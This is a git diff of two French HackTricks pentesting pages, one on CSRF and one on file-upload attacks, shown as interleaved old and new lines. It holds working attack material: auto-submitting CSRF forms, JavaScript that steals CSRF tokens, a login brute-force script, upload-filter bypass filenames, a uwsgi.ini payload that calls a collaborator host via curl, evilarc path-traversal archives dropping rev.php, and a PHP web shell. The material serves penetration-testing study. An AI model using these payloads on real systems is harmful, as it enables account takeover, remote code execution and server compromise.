**La faille de sécurité Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présente dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche ensuite des requêtes vers le compte de la victime en utilisant des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images.
|
||||
**La faille de sécurité Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présente dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche ensuite des requêtes vers le compte de la victime à travers des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images.
|
||||
|
||||
### Prérequis pour une attaque CSRF
|
||||
|
||||
Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remplies :
|
||||
|
||||
1. **Identifier une action de valeur** : L'attaquant doit trouver une action à exploiter, telle que le changement du mot de passe de l'utilisateur, de l'e-mail ou l'élévation des privilèges.
|
||||
2. **Gestion de session** : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête d'authentification de base HTTP, car les autres en-têtes ne peuvent pas être manipulés à cette fin.
|
||||
3. **Absence de paramètres imprévisibles** : La requête ne doit pas contenir de paramètres imprévisibles, car ils peuvent empêcher l'attaque.
|
||||
|
||||
### Vérification rapide
|
||||
|
||||
Vous pourriez **capturer la requête dans Burp** et vérifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur **Copier comme fetch** et vérifier la requête :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Se défendre contre les attaques CSRF
|
||||
|
||||
Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF :
|
||||
|
||||
* [**Cookies SameSite**](hacking-with-cookies/#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes entre sites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/#samesite).
|
||||
* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md).
|
||||
* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, en particulier si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md).
|
||||
* **Vérification de l'utilisateur** : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur.
|
||||
* **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une manipulation soigneuse des URL peut contourner les vérifications mal implémentées, telles que :
|
||||
- Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
|
||||
- Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
|
||||
* Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
|
||||
* Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
|
||||
* **Modification des noms de paramètres** : Modifier les noms de paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées.
|
||||
* **Jetons CSRF** : Incorporer un jeton CSRF unique dans chaque session et exiger ce jeton dans les requêtes ultérieures peut atténuer considérablement le risque de CSRF. L'efficacité du jeton peut être renforcée en imposant CORS.
|
||||
|
||||
|
@ -58,15 +66,15 @@ Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécu
|
|||
|
||||
### De POST à GET
|
||||
|
||||
Peut-être que le formulaire que vous souhaitez exploiter est prêt à envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**.
|
||||
Peut-être que le formulaire que vous souhaitez exploiter est configuré pour envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**.
|
||||
|
||||
### Absence de jeton
|
||||
|
||||
Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** portant le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de Cross-Site Request Forgery (CSRF) efficacement.
|
||||
Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** portant le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de type Cross-Site Request Forgery (CSRF) efficacement.
|
||||
|
||||
### Le jeton CSRF n'est pas lié à la session utilisateur
|
||||
|
||||
Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité significatif. Ces systèmes vérifient les jetons par rapport à un **pool global** plutôt que de garantir que chaque jeton est lié à la session initiale.
|
||||
Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité important. Ces systèmes vérifient les jetons par rapport à un **pool global** au lieu de s'assurer que chaque jeton est lié à la session initiale.
|
||||
|
||||
Voici comment les attaquants exploitent cela :
|
||||
|
||||
|
@ -74,12 +82,11 @@ Voici comment les attaquants exploitent cela :
|
|||
2. **Obtenir un jeton CSRF valide** à partir du pool global.
|
||||
3. **Utiliser ce jeton** dans une attaque CSRF contre une victime.
|
||||
|
||||
Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, exploitant le mécanisme de validation de jeton inadéquat de l'application.
|
||||
Cette vulnérabilité permet aux attaquants d'effectuer des requêtes non autorisées au nom de la victime, en exploitant le **mécanisme de validation de jeton inadéquat** de l'application.
|
||||
|
||||
### Contournement de méthode
|
||||
|
||||
Si la requête utilise une **méthode "étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne.
|
||||
Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et d'envoyer : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Si la requête utilise une **"méthode"** **"étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne. Par exemple, si elle utilise une méthode **PUT**, vous pouvez essayer d'utiliser une méthode **POST** et d'envoyer : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** :
|
||||
|
||||
|
@ -96,7 +103,7 @@ Si la requête ajoute un **en-tête personnalisé** avec un **jeton** à la requ
|
|||
|
||||
### Le jeton CSRF est vérifié par un cookie
|
||||
|
||||
Les applications peuvent mettre en œuvre une protection CSRF en dupliquant le jeton à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le jeton envoyé en backend correspond au cookie. L'application valide les requêtes en vérifiant si le jeton dans le paramètre de requête correspond à la valeur dans le cookie.
|
||||
Les applications peuvent mettre en place une protection CSRF en dupliquant le jeton à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le jeton envoyé en arrière-plan correspond au cookie. L'application valide les requêtes en vérifiant si le jeton dans le paramètre de requête correspond à la valeur du cookie.
|
||||
|
||||
Cependant, cette méthode est vulnérable aux attaques CSRF si le site web présente des failles permettant à un attaquant de définir un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, suivi de l'initiation de l'attaque CSRF.
|
||||
|
||||
|
@ -148,9 +155,7 @@ form.submit();
|
|||
Lors de la tentative d'envoi de données JSON via une requête POST, l'utilisation de `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de `XMLHttpRequest` pour envoyer ce type de contenu initie une demande de pré-vérification. Néanmoins, il existe des stratégies pour contourner potentiellement cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :
|
||||
|
||||
1. **Utiliser des types de contenu alternatifs** : Utilisez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le formulaire. Cette approche teste si le backend utilise les données indépendamment du Content-Type.
|
||||
|
||||
2. **Modifier le type de contenu** : Pour éviter une demande de pré-vérification tout en garantissant que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de demande de pré-vérification mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
|
||||
|
||||
3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Contournement de la vérification du Référent / Origine
|
||||
|
@ -163,7 +168,7 @@ Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est p
|
|||
```
|
||||
Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les vérifications de validation dans certaines applications.
|
||||
|
||||
**Contournements de Regexp**
|
||||
**Contournements Regexp**
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
|
@ -190,7 +195,7 @@ document.forms[0].submit();
|
|||
```
|
||||
### **Contournement de la méthode HEAD**
|
||||
|
||||
La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans le [code source de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**.
|
||||
La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**.
|
||||
|
||||
Par conséquent, si une requête GET est limitée, vous pourriez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
|
||||
|
||||
|
@ -259,7 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Requête POST de formulaire via iframe
|
||||
### Envoyer une requête POST de formulaire via un iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -355,7 +360,7 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
</iframe>
|
||||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||||
```
|
||||
### **Vol CSRF et envoie une requête POST**
|
||||
### **Vol de jeton CSRF et envoi d'une requête POST**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -422,7 +427,7 @@ document.getElementById("form1").submit();
|
|||
</script>
|
||||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Vol CSRF Token et envoyer une requête POST en utilisant un iframe et un formulaire**
|
||||
### **Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe et d'un formulaire**
|
||||
```html
|
||||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||||
|
||||
|
@ -470,7 +475,7 @@ height="600" width="800"></iframe>
|
|||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête post avec un formulaire**
|
||||
### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -564,7 +569,7 @@ with open(PASS_LIST, "r") as f:
|
|||
for line in f:
|
||||
login(USER, line.strip())
|
||||
```
|
||||
## Outils <a href="#outils" id="outils"></a>
|
||||
## Outils <a href="#tools" id="tools"></a>
|
||||
|
||||
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
|
@ -578,31 +583,31 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
|
||||
|
||||
**Perspectives de Hacking**\
|
||||
Engagez-vous avec du contenu qui explore les défis et l'excitation du hacking
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui!
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Upload de Fichier
|
||||
# Upload de fichiers
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -14,13 +14,13 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Méthodologie Générale de Téléchargement de Fichier
|
||||
## Méthodologie générale de téléchargement de fichiers
|
||||
|
||||
Autres extensions utiles :
|
||||
|
||||
|
@ -33,7 +33,7 @@ Autres extensions utiles :
|
|||
* **Perl** : _.pl, .cgi_
|
||||
* **Serveur Web Erlang Yaws** : _.yaws_
|
||||
|
||||
### Contourner les vérifications d'extensions de fichier
|
||||
### Contourner les vérifications des extensions de fichiers
|
||||
|
||||
1. Si elles s'appliquent, **vérifiez** les **extensions précédentes**. Testez-les également en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._
|
||||
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez également les extensions précédentes) :_
|
||||
|
@ -49,7 +49,7 @@ Autres extensions utiles :
|
|||
* _fichier._
|
||||
* _fichier.php...._
|
||||
* _fichier.pHp5...._
|
||||
4. Essayez de contourner les protections en **trompant l'analyseur d'extension** côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (des octets nuls) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer une meilleure charge utile._
|
||||
4. Essayez de contourner les protections en **trompant l'analyseur d'extension** côté serveur avec des techniques telles que **doubler** l'**extension** ou **ajouter des données inutiles** (des octets nuls) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer une meilleure charge utile._
|
||||
* _fichier.png.php_
|
||||
* _fichier.png.pHp5_
|
||||
* _fichier.php#.png_
|
||||
|
@ -64,16 +64,16 @@ Autres extensions utiles :
|
|||
6. Essayez de mettre l'**extension d'exécution avant l'extension valide** et espérez que le serveur est mal configuré. (utile pour exploiter les mauvaises configurations Apache où tout avec l'extension\*\* _**.php**_**, mais** pas nécessairement se terminant par .php\*\* exécutera du code) :
|
||||
* _ex : fichier.php.png_
|
||||
7. Utilisation des **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, "fichier.asax:.jpg"). Ce fichier pourrait être modifié ultérieurement en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (.e.g. “fichier.asp::$data.”)
|
||||
8. Essayez de dépasser les limites du nom de fichier. L'extension valide est coupée. Et le PHP malveillant est laissé. AAA<--SNIP-->AAA.php
|
||||
8. Essayez de dépasser les limites du nom de fichier. L'extension valide est coupée. Et le code PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
# Linux maximum 255 octets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png
|
||||
# Téléchargez le fichier et vérifiez la réponse combien de caractères il autorise. Disons 236
|
||||
# Téléchargez le fichier et vérifiez la réponse pour voir combien de caractères il autorise. Disons 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Faites la charge utile
|
||||
# Créez la charge utile
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
### Contourner le type de contenu, le numéro magique, la compression et le redimensionnement
|
||||
|
@ -94,12 +94,12 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
### Autres astuces à vérifier
|
||||
|
||||
* Trouver une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension).
|
||||
* Trouver une vulnérabilité de **Local File Inclusion** pour exécuter la porte dérobée.
|
||||
* Trouver une vulnérabilité d'**inclusion de fichier local** pour exécuter la porte dérobée.
|
||||
* **Divulgation d'informations possible** :
|
||||
1. Télécharger **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
|
||||
2. Télécharger un fichier avec le **nom** d'un **fichier** ou **dossier** qui **existe déjà**
|
||||
3. Télécharger un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléchargés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”.
|
||||
4. Télécharger un fichier qui ne peut pas être facilement supprimé tel que **“…:.jpg”** dans **NTFS** (Windows).
|
||||
4. Télécharger un fichier qui ne peut pas être facilement supprimé tel que **“…:.jpg”** en **NTFS** (Windows).
|
||||
5. Télécharger un fichier dans **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom (Windows).
|
||||
6. Télécharger un fichier dans **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9.
|
||||
* Essayez également de **télécharger un exécutable** (.exe) ou un fichier **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime.
|
||||
|
@ -125,7 +125,7 @@ Pour une exploration détaillée de cette vulnérabilité, consultez la recherch
|
|||
|
||||
Les vulnérabilités d'exécution de commandes à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(nom du fichier)`, est conçu pour inclure le contenu d'un fichier. Parmi les divers schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
|
||||
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, présentant divers schémas :
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, illustrant divers schémas :
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
|
@ -143,9 +143,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque de déni de service) ou le fichier doit être configuré pour un rechargement automatique. La fonction de rechargement automatique, si activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
|
||||
L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service) ou le fichier doit être configuré pour un rechargement automatique. La fonction de rechargement automatique, si activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
|
||||
|
||||
Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration de uWSGI. Plus précisément, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée potentielle de l'exploitation.
|
||||
Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration d'uWSGI. Plus précisément, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée des exploitations potentielles.
|
||||
|
||||
## **Astuce de téléchargement de fichier/SSRF avec wget**
|
||||
|
||||
|
@ -193,8 +193,8 @@ Notez que **une autre option** à laquelle vous pourriez penser pour contourner
|
|||
* [Vulnérabilité **ImageTrick** célèbre](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Si vous pouvez **indiquer au serveur web de récupérer une image à partir d'une URL**, vous pourriez essayer d'exploiter un [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL depuis [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations sur chaque visiteur**.
|
||||
* [**Contournement XXE et CORS** avec le téléchargement de fichiers PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer des PDF qui exécuteront du JS arbitraire en suivant les indications données.
|
||||
* Téléchargez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus**
|
||||
* PDFs spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer des PDF qui exécuteront du JS arbitraire en suivant les indications données.
|
||||
* Téléchargez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenu pour vérifier si le serveur a un **antivirus**
|
||||
* Vérifiez s'il y a une **limite de taille** pour le téléchargement de fichiers
|
||||
|
||||
Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (à partir de [ici](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) :
|
||||
|
@ -244,7 +244,7 @@ python2 evilarc.py -h
|
|||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
De plus, le **truc du lien symbolique avec evilarc** est une option. Si l'objectif est de cibler un fichier tel que `/flag.txt`, un lien symbolique vers ce fichier doit être créé dans votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs pendant son fonctionnement.
|
||||
De plus, l'**astuce du lien symbolique avec evilarc** est une option. Si l'objectif est de cibler un fichier tel que `/flag.txt`, un lien symbolique vers ce fichier doit être créé dans votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs pendant son fonctionnement.
|
||||
|
||||
Voici un exemple de code Python utilisé pour créer un fichier zip malveillant :
|
||||
```python
|
||||
|
@ -268,7 +268,7 @@ create_zip()
|
|||
|
||||
Pour plus de détails, **consultez le message original sur**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Création d'un Shell PHP**: Le code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`.
|
||||
1. **Création d'une coquille PHP**: Le code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
@ -312,7 +312,7 @@ Plus d'informations sur : [https://www.idontplaydarts.com/2012/06/encoding-web-s
|
|||
|
||||
Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant comme des caméléons pouvant exister de manière valide dans plusieurs formats de fichier simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et une archive RAR. De tels fichiers ne se limitent pas à cette association ; des combinaisons comme GIF et JS ou PPT et JS sont également réalisables.
|
||||
|
||||
